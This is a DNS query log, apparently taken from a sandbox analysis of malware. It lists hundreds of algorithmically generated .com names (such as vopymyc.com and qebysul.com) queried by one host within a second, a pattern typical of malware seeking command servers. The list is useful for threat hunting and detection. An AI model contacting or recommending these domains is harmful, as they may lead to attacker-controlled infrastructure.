                                                                                                                                                                                                          Aug 23, 2024 18:43:29.713234901 CEST192.168.2.51.1.1.10xa550Standard query (0)vopymyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.713293076 CEST192.168.2.51.1.1.10x3196Standard query (0)qebysul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.713808060 CEST192.168.2.51.1.1.10xf720Standard query (0)pujylog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.714258909 CEST192.168.2.51.1.1.10xc46bStandard query (0)gatynes.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.714258909 CEST192.168.2.51.1.1.10x2e22Standard query (0)lyvysur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.714273930 CEST192.168.2.51.1.1.10xee8eStandard query (0)vojykom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.714709997 CEST192.168.2.51.1.1.10x161eStandard query (0)qetynev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.714958906 CEST192.168.2.51.1.1.10x24a3Standard query (0)gahykih.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.714993000 CEST192.168.2.51.1.1.10xfaa1Standard query (0)puvypul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.715440035 CEST192.168.2.51.1.1.10xf97cStandard query (0)lyrynad.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.715668917 CEST192.168.2.51.1.1.10x2a3aStandard query (0)vocypyt.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.715708971 CEST192.168.2.51.1.1.10x4c50Standard query (0)qegykiq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.716224909 CEST192.168.2.51.1.1.10xf9c6Standard query (0)purybav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.716476917 CEST192.168.2.51.1.1.10x3e84Standard query (0)gacypyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.716536045 CEST192.168.2.51.1.1.10xb215Standard query (0)lygyjuj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.717016935 CEST192.168.2.51.1.1.10x70c2Standard query (0)vowybof.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.717245102 CEST192.168.2.51.1.1.10x7a41Standard query (0)qexytep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.717349052 CEST192.168.2.51.1.1.10x6c25Standard query (0)pufyjuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.717961073 CEST192.168.2.51.1.1.10x6ac5Standard query (0)gaqyvob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.718139887 CEST192.168.2.51.1.1.10x86b8Standard query (0)lyxytex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.719747066 CEST192.168.2.51.1.1.10x4976Standard query (0)vofyjuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.720196962 CEST192.168.2.51.1.1.10xdeb5Standard query (0)vofyqit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.720196962 CEST192.168.2.51.1.1.10xecc1Standard query (0)lyxyxyd.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.720573902 CEST192.168.2.51.1.1.10x96ceStandard query (0)qeqyvig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.720597982 CEST192.168.2.51.1.1.10x82a0Standard query (0)puzytap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.720768929 CEST192.168.2.51.1.1.10x2947Standard query (0)gadyhyw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.720825911 CEST192.168.2.51.1.1.10x291Standard query (0)lymyvin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.720923901 CEST192.168.2.51.1.1.10x5a35Standard query (0)volyrac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.721064091 CEST192.168.2.51.1.1.10x4645Standard query (0)qedyhyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.721180916 CEST192.168.2.51.1.1.10xacddStandard query (0)pumycug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.721328020 CEST192.168.2.51.1.1.10x7ca7Standard query (0)galyros.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.721498013 CEST192.168.2.51.1.1.10xbaf3Standard query (0)vonycum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.721509933 CEST192.168.2.51.1.1.10xa3b4Standard query (0)lysyger.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.721663952 CEST192.168.2.51.1.1.10xfb00Standard query (0)qekyrov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.721703053 CEST192.168.2.51.1.1.10xc970Standard query (0)ganycuh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.721834898 CEST192.168.2.51.1.1.10x6468Standard query (0)vopygat.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.721884966 CEST192.168.2.51.1.1.10xe6c5Standard query (0)qebyxyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.722002983 CEST192.168.2.51.1.1.10x8265Standard query (0)pupygel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.722162962 CEST192.168.2.51.1.1.10x5aabStandard query (0)lykywid.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.893743992 CEST192.168.2.51.1.1.10xfd9fStandard query (0)pujywiv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.894606113 CEST192.168.2.51.1.1.10x235eStandard query (0)gatyfaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.895234108 CEST192.168.2.51.1.1.10x9707Standard query (0)lyvyxyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.895811081 CEST192.168.2.51.1.1.10x5fd9Standard query (0)vojyquf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.896352053 CEST192.168.2.51.1.1.10xfb91Standard query (0)qetyfop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.896787882 CEST192.168.2.51.1.1.10x7629Standard query (0)gahyqub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.897115946 CEST192.168.2.51.1.1.10xf7e8Standard query (0)lyryfox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.897533894 CEST192.168.2.51.1.1.10xb714Standard query (0)vocyzek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.897614002 CEST192.168.2.51.1.1.10x42b2Standard query (0)qegyqug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.898158073 CEST192.168.2.51.1.1.10x5b8aStandard query (0)purydip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.898308039 CEST192.168.2.51.1.1.10x83e2Standard query (0)gacyzaw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.898574114 CEST192.168.2.51.1.1.10xb27dStandard query (0)lygymyn.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.898940086 CEST192.168.2.51.1.1.10x77d9Standard query (0)vowydic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.899418116 CEST192.168.2.51.1.1.10x5a74Standard query (0)qexylal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.899431944 CEST192.168.2.51.1.1.10x3729Standard query (0)pufymyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.899923086 CEST192.168.2.51.1.1.10x381fStandard query (0)gaqydus.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.900331974 CEST192.168.2.51.1.1.10x258fStandard query (0)lyxylor.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.900646925 CEST192.168.2.51.1.1.10xe06fStandard query (0)vofymem.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.900794983 CEST192.168.2.51.1.1.10x1cb9Standard query (0)qeqysuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.901784897 CEST192.168.2.51.1.1.10xd3c2Standard query (0)puzylol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.901969910 CEST192.168.2.51.1.1.10x2583Standard query (0)gadyneh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.903795958 CEST192.168.2.51.1.1.10x2d07Standard query (0)lymysud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.905721903 CEST192.168.2.51.1.1.10x389aStandard query (0)puvyxeq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.905852079 CEST192.168.2.51.1.1.10x8c8aStandard query (0)volykit.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.905951023 CEST192.168.2.51.1.1.10x283eStandard query (0)qedynaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.906124115 CEST192.168.2.51.1.1.10x8e3aStandard query (0)galykiz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.906183004 CEST192.168.2.51.1.1.10x2d2bStandard query (0)pumypyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.906335115 CEST192.168.2.51.1.1.10xed80Standard query (0)lysynaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.906487942 CEST192.168.2.51.1.1.10x2c87Standard query (0)vonypyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.906680107 CEST192.168.2.51.1.1.10x5283Standard query (0)qekykup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.906754017 CEST192.168.2.51.1.1.10x1a6fStandard query (0)lykyjux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.906909943 CEST192.168.2.51.1.1.10xb9d5Standard query (0)qebyteg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.907007933 CEST192.168.2.51.1.1.10x819cStandard query (0)pupyboq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.907073975 CEST192.168.2.51.1.1.10xa676Standard query (0)vopybok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.907208920 CEST192.168.2.51.1.1.10x2945Standard query (0)pujyjup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.907291889 CEST192.168.2.51.1.1.10x3dc2Standard query (0)lyvytan.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.907428980 CEST192.168.2.51.1.1.10xd172Standard query (0)vojyjyc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.907599926 CEST192.168.2.51.1.1.10x32beStandard query (0)qetyvil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.907834053 CEST192.168.2.51.1.1.10xeadeStandard query (0)puvytag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.907954931 CEST192.168.2.51.1.1.10x769dStandard query (0)gatyviw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.908144951 CEST192.168.2.51.1.1.10x4be4Standard query (0)lyryvur.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.908623934 CEST192.168.2.51.1.1.10xf226Standard query (0)gahyhys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.908773899 CEST192.168.2.51.1.1.10x7837Standard query (0)vocyrom.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.908992052 CEST192.168.2.51.1.1.10x3157Standard query (0)ganypeb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.909048080 CEST192.168.2.51.1.1.10x79a8Standard query (0)qegyhev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.909481049 CEST192.168.2.51.1.1.10xc118Standard query (0)lygyged.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.909677982 CEST192.168.2.51.1.1.10xa17eStandard query (0)purycul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.909703016 CEST192.168.2.51.1.1.10x1845Standard query (0)gacyroh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.909871101 CEST192.168.2.51.1.1.10x1645Standard query (0)vowycut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.910010099 CEST192.168.2.51.1.1.10x79d4Standard query (0)qexyriq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.910096884 CEST192.168.2.51.1.1.10x5e11Standard query (0)lyxywij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.910157919 CEST192.168.2.51.1.1.10x9726Standard query (0)pufygav.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.910357952 CEST192.168.2.51.1.1.10xe00aStandard query (0)vofygaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.910459042 CEST192.168.2.51.1.1.10x98e4Standard query (0)qeqyxyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.910624027 CEST192.168.2.51.1.1.10x440bStandard query (0)puzywuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.910624027 CEST192.168.2.51.1.1.10x77ceStandard query (0)gaqycyz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.910845041 CEST192.168.2.51.1.1.10x3178Standard query (0)gadyfob.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.911016941 CEST192.168.2.51.1.1.10x96fdStandard query (0)lymyxex.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.911154985 CEST192.168.2.51.1.1.10x4a41Standard query (0)qedyfog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.911222935 CEST192.168.2.51.1.1.10x2db1Standard query (0)volyquk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.911611080 CEST192.168.2.51.1.1.10x86b1Standard query (0)pumyxep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.911680937 CEST192.168.2.51.1.1.10xdb9fStandard query (0)galyquw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.911822081 CEST192.168.2.51.1.1.10xc8fcStandard query (0)vonyzac.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.912082911 CEST192.168.2.51.1.1.10xa9caStandard query (0)lysyfin.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.948759079 CEST192.168.2.51.1.1.10x2397Standard query (0)qekyqyl.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.949552059 CEST192.168.2.51.1.1.10x2760Standard query (0)pupydig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.950284004 CEST192.168.2.51.1.1.10x302Standard query (0)ganyzas.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.950951099 CEST192.168.2.51.1.1.10x848dStandard query (0)lykymyr.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.951246023 CEST192.168.2.51.1.1.10x16fStandard query (0)vopydum.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.951725960 CEST192.168.2.51.1.1.10x5e42Standard query (0)pujymel.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.951742887 CEST192.168.2.51.1.1.10xec4fStandard query (0)qebylov.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.952236891 CEST192.168.2.51.1.1.10x4defStandard query (0)gatyduh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.952253103 CEST192.168.2.51.1.1.10x31bStandard query (0)lyvylod.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.952692986 CEST192.168.2.51.1.1.10xa628Standard query (0)vojymet.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.952907085 CEST192.168.2.51.1.1.10xc5c1Standard query (0)qetysuq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.953181982 CEST192.168.2.51.1.1.10x6f7eStandard query (0)puvyliv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.953536987 CEST192.168.2.51.1.1.10x9287Standard query (0)gahynaz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.954041958 CEST192.168.2.51.1.1.10x7052Standard query (0)lyrysyj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.954595089 CEST192.168.2.51.1.1.10xd4b7Standard query (0)qegynap.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.954890013 CEST192.168.2.51.1.1.10x44ffStandard query (0)vocykif.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.955202103 CEST192.168.2.51.1.1.10xa61bStandard query (0)purypyq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.955966949 CEST192.168.2.51.1.1.10x6465Standard query (0)gacykub.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.956517935 CEST192.168.2.51.1.1.10xba3fStandard query (0)lygynox.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.957117081 CEST192.168.2.51.1.1.10x55bbStandard query (0)vowypek.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.957618952 CEST192.168.2.51.1.1.10xa73fStandard query (0)qexykug.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.958111048 CEST192.168.2.51.1.1.10x2199Standard query (0)pufybop.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.959171057 CEST192.168.2.51.1.1.10x8b8dStandard query (0)gaqypew.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.960055113 CEST192.168.2.51.1.1.10xf241Standard query (0)lyxyjun.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.960274935 CEST192.168.2.51.1.1.10xa3e6Standard query (0)vofybic.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.960895061 CEST192.168.2.51.1.1.10xcc9cStandard query (0)qeqytal.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.961066008 CEST192.168.2.51.1.1.10x4f0fStandard query (0)puzyjyg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.961828947 CEST192.168.2.51.1.1.10x75d7Standard query (0)lymytar.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.961973906 CEST192.168.2.51.1.1.10xe1a0Standard query (0)volyjym.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.964109898 CEST192.168.2.51.1.1.10x1e4aStandard query (0)qedyvuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.967808008 CEST192.168.2.51.1.1.10x4dc3Standard query (0)gadyvis.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.968122959 CEST192.168.2.51.1.1.10x67d9Standard query (0)galyheh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.968334913 CEST192.168.2.51.1.1.10x4c32Standard query (0)vonyrot.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.968365908 CEST192.168.2.51.1.1.10xa302Standard query (0)qekyheq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.968990088 CEST192.168.2.51.1.1.10x22c4Standard query (0)pupycuv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.969116926 CEST192.168.2.51.1.1.10x5193Standard query (0)lykygaj.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.969376087 CEST192.168.2.51.1.1.10xde02Standard query (0)ganyriz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.969449997 CEST192.168.2.51.1.1.10x9f25Standard query (0)vopycyf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.969822884 CEST192.168.2.51.1.1.10x5c02Standard query (0)qebyrip.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.970072985 CEST192.168.2.51.1.1.10x571fStandard query (0)pujygaq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.970128059 CEST192.168.2.51.1.1.10x9680Standard query (0)gatycyb.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.970261097 CEST192.168.2.51.1.1.10xc89cStandard query (0)lyvywux.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.970480919 CEST192.168.2.51.1.1.10xcf2aStandard query (0)vojygok.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.970773935 CEST192.168.2.51.1.1.10xfd0fStandard query (0)qetyxeg.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.970963001 CEST192.168.2.51.1.1.10x3f28Standard query (0)puvywup.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.971203089 CEST192.168.2.51.1.1.10xf80fStandard query (0)gahyfow.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.971683025 CEST192.168.2.51.1.1.10x12d2Standard query (0)lyryxen.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.971832991 CEST192.168.2.51.1.1.10x149Standard query (0)vocyquc.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.972281933 CEST192.168.2.51.1.1.10xfff1Standard query (0)gacyqys.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.972419977 CEST192.168.2.51.1.1.10x9a4dStandard query (0)puryxag.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.972610950 CEST192.168.2.51.1.1.10x6018Standard query (0)qegyfil.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.972901106 CEST192.168.2.51.1.1.10x8ab5Standard query (0)lygyfir.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.973193884 CEST192.168.2.51.1.1.10xdeb1Standard query (0)vowyzam.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.973635912 CEST192.168.2.51.1.1.10xbb29Standard query (0)qexyqyv.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.974412918 CEST192.168.2.51.1.1.10xbf4fStandard query (0)pufydul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.975055933 CEST192.168.2.51.1.1.10x4d94Standard query (0)gaqyzoh.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.975358009 CEST192.168.2.51.1.1.10xfafStandard query (0)lyxymed.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.975528955 CEST192.168.2.51.1.1.10xa4d8Standard query (0)vofydut.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.976353884 CEST192.168.2.51.1.1.10xa9fcStandard query (0)qeqyloq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.976423025 CEST192.168.2.51.1.1.10xa2dfStandard query (0)gadyduz.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.976623058 CEST192.168.2.51.1.1.10x8e69Standard query (0)lymylij.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.976938963 CEST192.168.2.51.1.1.10x6f7dStandard query (0)puzymev.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.977338076 CEST192.168.2.51.1.1.10x63aeStandard query (0)pumytol.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:29.977770090 CEST192.168.2.51.1.1.10x6d02Standard query (0)lysyvud.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.492937088 CEST192.168.2.51.1.1.10xe0a9Standard query (0)volymaf.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.495229006 CEST192.168.2.51.1.1.10xa51cStandard query (0)qedysyp.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.495771885 CEST192.168.2.51.1.1.10xb47aStandard query (0)pumyliq.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.496277094 CEST192.168.2.51.1.1.10x7c7eStandard query (0)galynab.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.496740103 CEST192.168.2.51.1.1.10xf3deStandard query (0)lysysyx.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.497221947 CEST192.168.2.51.1.1.10x944cStandard query (0)vonykuk.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.497673988 CEST192.168.2.51.1.1.10x2bd2Standard query (0)qekynog.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.498161077 CEST192.168.2.51.1.1.10x16dcStandard query (0)pupypep.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.498658895 CEST192.168.2.51.1.1.10x1d29Standard query (0)ganykuw.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.499108076 CEST192.168.2.51.1.1.10xfbeaStandard query (0)lykynon.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.499557972 CEST192.168.2.51.1.1.10x93ddStandard query (0)vopypec.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.500005007 CEST192.168.2.51.1.1.10xb577Standard query (0)qebykul.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.500456095 CEST192.168.2.51.1.1.10xa841Standard query (0)pujybig.comA (IP address)IN (0x0001)false
                                                                                                                                                                                                          Aug 23, 2024 18:43:30.500919104 CEST192.168.2.51.1.1.10x4409Standard query (0)gatypas.comA (IP address)IN (0x0001)false
